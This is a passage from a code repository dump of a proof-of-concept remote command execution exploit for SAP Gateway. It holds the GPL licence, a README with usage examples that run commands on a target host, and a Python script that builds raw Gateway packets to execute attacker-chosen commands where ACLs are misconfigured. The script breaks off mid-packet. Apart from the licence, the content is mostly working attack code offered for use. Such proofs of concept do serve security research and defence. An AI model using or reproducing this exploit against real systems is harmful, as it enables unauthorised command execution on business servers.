Full Code of chipik/SAP_GW_RCE_exploit for AI

master 75a6984d48ff cached
5 files
58.7 KB
20.2k tokens
21 symbols
1 requests
Download .txt
Repository: chipik/SAP_GW_RCE_exploit
Branch: master
Commit: 75a6984d48ff
Files: 5
Total size: 58.7 KB

Directory structure:
gitextract_1hwueb_5/

├── COPYING
├── README.md
├── SAPanonGWv1.py
├── SAPanonGWv2.py
└── requirements.txt

================================================
FILE CONTENTS
================================================

================================================
FILE: COPYING
================================================
		    GNU GENERAL PUBLIC LICENSE
		       Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.
     59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

			    Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

  The precise terms and conditions for copying, distribution and
modification follow.

		    GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as "you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

    a) You must cause the modified files to carry prominent notices
    stating that you changed the files and the date of any change.

    b) You must cause any work that you distribute or publish, that in
    whole or in part contains or is derived from the Program or any
    part thereof, to be licensed as a whole at no charge to all third
    parties under the terms of this License.

    c) If the modified program normally reads commands interactively
    when run, you must cause it, when started running for such
    interactive use in the most ordinary way, to print or display an
    announcement including an appropriate copyright notice and a
    notice that there is no warranty (or else, saying that you provide
    a warranty) and that users may redistribute the program under
    these conditions, and telling the user how to view a copy of this
    License.  (Exception: if the Program itself is interactive but
    does not normally print such an announcement, your work based on
    the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

    a) Accompany it with the complete corresponding machine-readable
    source code, which must be distributed under the terms of Sections
    1 and 2 above on a medium customarily used for software interchange; or,

    b) Accompany it with a written offer, valid for at least three
    years, to give any third party, for a charge no more than your
    cost of physically performing source distribution, a complete
    machine-readable copy of the corresponding source code, to be
    distributed under the terms of Sections 1 and 2 above on a medium
    customarily used for software interchange; or,

    c) Accompany it with the information you received as to the offer
    to distribute corresponding source code.  (This alternative is
    allowed only for noncommercial distribution and only if you
    received the program in object code or executable form with such
    an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

			    NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

		     END OF TERMS AND CONDITIONS

	    How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.

    <one line to give the program's name and a brief idea of what it does.>
    Copyright (C) <year>  <name of author>

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA


Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

    Gnomovision version 69, Copyright (C) year  name of author
    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
    This is free software, and you are welcome to redistribute it
    under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  `Gnomovision' (which makes passes at compilers) written by James Hacker.

  <signature of Ty Coon>, 1 April 1989
  Ty Coon, President of Vice

This General Public License does not permit incorporating your program into
proprietary programs.  If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library.  If this is what you want to do, use the GNU Library General
Public License instead of this License.

================================================
FILE: README.md
================================================
## What is it?

This PoC exploits an ACL misconfiguration in the SAP Gateway (port
33xx) that leads to a Remote Command Execution (RCE).

`SAPanonGWv1.py` is the first version of the exploit based on raw
packets sent. It does not require any additional modules (Run and
Pwn!).

`SAPanonGWv2.py` is the second version of the exploit based on the
[pysap](https://github.com/SecureAuthCorp/pysap) library.

## Creds

These PoCs were developed by Dmitry [@_chipik](https://twitter.com/_chipik) Chastuhin 


## How to use

```bash
➜python SAPanonGWv1.py -t 172.16.30.28 -p 3300 -c whoami
[*] sending cmd:whoami
n45adm
```


```bash
➜python SAPanonGWv2.py -t <ip> -p 3300 -c whoami
[INFO ] [+] Sending GW_NORMAL_CLIENT
[INFO ] Response: OK
[INFO ] [+] Sending F_SAP_INIT
[INFO ] Response: OK
[INFO ] [+] Sending F_SAP_SEND
[INFO ] [+] Sending F_SAP_SEND2
n45adm
```


## Installation

Only for `SAPanonGWv2.p`

```
git clone https://github.com/gelim/pysap
pip install -r pysap/requirements.txt
python pysap/setup.py install
git clone https://github.com/chipik/SAP_GW_RCE_exploit
```

or 

```
git clone https://github.com/chipik/SAP_GW_RCE_exploit
pip install -r SAP_GW_RCE_exploit/requirements.txt
```


## SAP GW ACL bypass

You can use these exploits together with [SAP MS Trusted](https://github.com/gelim/sap_ms) exploit that allows you to bypass dafault `sec_info` ACL

See our [presentation ](https://github.com/comaeio/OPCDE/blob/master/2019/Emirates/(SAP)%20Gateway%20to%20Heaven%20-%20Dmitry%20Chastuhin%2C%20Mathieu%20Geli/(SAP)%20Gateway%20to%20Heaven.pdf) for details

### Contributors

Contributions made by:

  * Dmitry Chastuhin ([@_chipik](https://twitter.com/_chipik))
  * Mathieu Geli ([@gelim](https://github.com/gelim))


================================================
FILE: SAPanonGWv1.py
================================================
#!/usr/bin/env python

# Dmitry @_chipik Chastuhin

# tested on SAP 700 sp5 <= BASIS <= SAP 731 SP 04
# exploit for SAP GW. Works when sec_info file doesn't exist and when gw/acl_mode = 0

import argparse
import socket
import re


def parse_args():
    parser = argparse.ArgumentParser(description='[*] Hello, welcome to SAP GW exploit...')
    parser.add_argument('-t', '--target', required=True, help='Target IP address')
    parser.add_argument('-p', '--port', required=True, type=int, default='3300',
                        help='Target GW port number.Default 3300')
    parser.add_argument('-c', '--cmd', help='Command name')
    parser.add_argument('-v', '--verb', action='store_true', default=0, help='Enable verbose')
    parser.add_argument('-o', '--old', action='store_true', help='Use when version of the GW ~640')
    args = parser.parse_args()
    return args


# parse input
args = parse_args()

def convert_ip(ip_1, ch):
    for i in range((30 - len(ip_1) * 2) / 2):
        ip_1 = ip_1 + ch
    return ip_1


def iptohex(ip):
    octets = ip.split('.')
    hex_octets = []
    for octet in octets:
        if int(octet) < 16:
            hex_octets.append('0' + hex(int(octet))[2:])
        else:
            hex_octets.append(hex(int(octet))[2:])
    hex_octets = ''.join(hex_octets)
    return hex_octets.decode('hex')


def net_get_ip():
    return [(s.connect(('8.8.8.8', 53)),
             s.getsockname()[0],
             s.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1]


opt_ip = net_get_ip()

# some optional ip in the first packet
hex_ip = opt_ip
# some optional ip in the second packet
hex_ip2 = opt_ip
targ2 = '10.10.10.10'
targ2_size = chr(len(targ2))
targ1 = convert_ip(args.target, '\x00')

exploit_p = [
    "\x00\x00\x00\x40\x02\x03" + iptohex(
        hex_ip) + "\x00\x00\x00\x00\x73\x61\x70\x67\x77\x30\x31\x00\x00\x00\x34\x31\x30\x33\x00\x00\x00\x00\x00\x00\x73\x61\x70\x73\x65\x72\x76\x65\x73\x61\x70\x67\x77\x30\x31\x20\x20\x20\x20\x20\x20\x20\x20\x20\x06\x0b\xff\xff\x00\x00\x00\x00\x00\x00",
    "\x00\x00\x01\xA4\x06\xCA\x03\x00\x00\x13\xFF\xFF\x00\x00\x01\x00\x00\x00\x00\x00\xC0\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x01\x54\x00\x00\x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x5F\x37\x35\x20\x20\x20\x20\x31\x37\x32\x2E\x31\x36\x2E\x30\x73\x61\x70\x78\x70\x67\x20\x20\x45\x02\x00\x00\x00\x00\xFF\xFF\x60\x00\x00\x00\x00\x00\x00\x00\x00\x0E\x02\x00\x00\x00\x00\xE8\x4D\x23\x00\xDF\x07\x00\x00\x01\x00\x4E\xD5\x81\xE3\x09\xF6\xF1\x18\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x00\x00\x00\x00\xFF\xFF\xFF\xFE\xFF\xFF\xFF\xFE\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + targ1 + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x53\x41\x50\x2A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x00\x00\x00\x00\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + iptohex(
        hex_ip2) + "\x00\x00\x00\x00\x73\x61\x70\x78\x70\x67\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
    "\x00\x00\x0A\x24\x06\xCB\x03\x00\x00\x13\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xF4\x00\x00\x00\x00\x00\x00\x08\x00\x00\x85\x0C\x00\x00\x00\x00\x00\x00\x00\x00\x39\x33\x32\x30\x31\x38\x37\x35\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x01\x01\x00\x08\x01\x01\x01\x01\x01\x01\x00\x00\x01\x01\x01\x03\x00\x04\x00\x00\x06\x1B\x01\x03\x01\x06\x00\x0B\x04\x01\x00\x03\x01\x03\x02\x00\x00\x00\x23\x01\x06\x00\x07\x00\x0F" + convert_ip(
        targ2,
        '\x20') + "\x00\x07\x00\x18\x00" + targ2_size + targ2 + "\x00\x18\x00\x08\x00\x11\x4E\x57\x37\x30\x33\x74\x72\x69\x61\x6C\x5F\x4E\x53\x50\x5F\x30\x30\x00\x08\x00\x11\x00\x01\x33\x00\x11\x00\x13\x00\x04\x37\x32\x30\x20\x00\x13\x00\x12\x00\x04\x37\x33\x31\x20\x00\x12\x00\x06\x00\x04\x54\x5F\x37\x35\x00\x06\x01\x30\x00\x08\x53\x41\x50\x4C\x53\x53\x58\x50\x01\x30\x01\x11\x00\x04\x53\x41\x50\x2A\x01\x11\x01\x14\x00\x03\x30\x30\x31\x01\x14\x01\x15\x00\x01\x45\x01\x15\x00\x09\x00\x04\x53\x41\x50\x2A\x00\x09\x01\x34\x00\x03\x30\x30\x31\x01\x34\x05\x01\x00\x01\x01\x05\x01\x01\x36\x00\x25\x01\x00\x0C\x29\x00\x99\xD0\x1E\xE3\xA0\xBA\x9A\xEC\xEA\x55\x80\x0A\x4E\xD5\x81\xE3\x09\xF6\xF1\x18\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x00\x00\x00\x01\x01\x36\x05\x02\x00\x00\x05\x02\x00\x0B\x00\x03\x37\x33\x31\x00\x0B\x01\x02\x00\x15\x53\x41\x50\x58\x50\x47\x5F\x53\x54\x41\x52\x54\x5F\x58\x50\x47\x5F\x4C\x4F\x4E\x47\x01\x02\x05\x03\x00\x00\x05\x03\x01\x31\x00\xE6\x2A\x54\x48\x2A\x03\x00\xE6\x00\x00\x4E\x53\x50\x2F\x4E\x57\x37\x30\x33\x74\x72\x69\x61\x6C\x5F\x4E\x53\x50\x5F\x30\x30\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x00\x01\x53\x41\x50\x2A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x53\x4D\x34\x39\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x00\x01\x4E\x53\x50\x2F\x4E\x57\x37\x30\x33\x74\x72\x69\x61\x6C\x5F\x4E\x53\x50\x5F\x30\x30\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x33\x37\x44\x35\x38\x31\x45\x33\x38\x38\x39\x41\x46\x31\x36\x44\x41\x30\x30\x41\x30\x30\x30\x43\x32\x39\x30\x30\x39\x39\x44\x30\x30\x30\x31\x00\x01\x00\x0C\x29\x00\x99\xD0\x1E\xE3\xA0\xBA\x9A\xEC\xEA\x55\x80\x0A\x4E\xD5\x81\xE3\x09\xF6\xF1\x18\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x00\x00\x00\x01\x00\x00\x00\xE2\x2A\x54\x48\x2A\x01\x31\x05\x14\x00\x10\xE3\x81\xD5\x4E\xF6\x09\x19\xF1\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x05\x14\x04\x20\x00\x04\x00\x00\x00\x00\x04\x20\x05\x12\x00\x00\x05\x12\x02\x05\x00\x06\x43\x4F\x4E\x56\x49\x44\x02\x05\x02\x05\x00\x08\x53\x54\x52\x54\x53\x54\x41\x54\x02\x05\x02\x05\x00\x05\x58\x50\x47\x49\x44\x02\x05\x02\x01\x00\x07\x45\x58\x54\x50\x52\x4F\x47\x02\x01\x02\x03\x00\x80\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x02\x03\x02\x01\x00\x0B\x4C\x4F\x4E\x47\x5F\x50\x41\x52\x41\x4D\x53\x02\x01\x02\x03\x04\x00\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x02\x03\x02\x01\x00\x06\x50\x41\x52\x4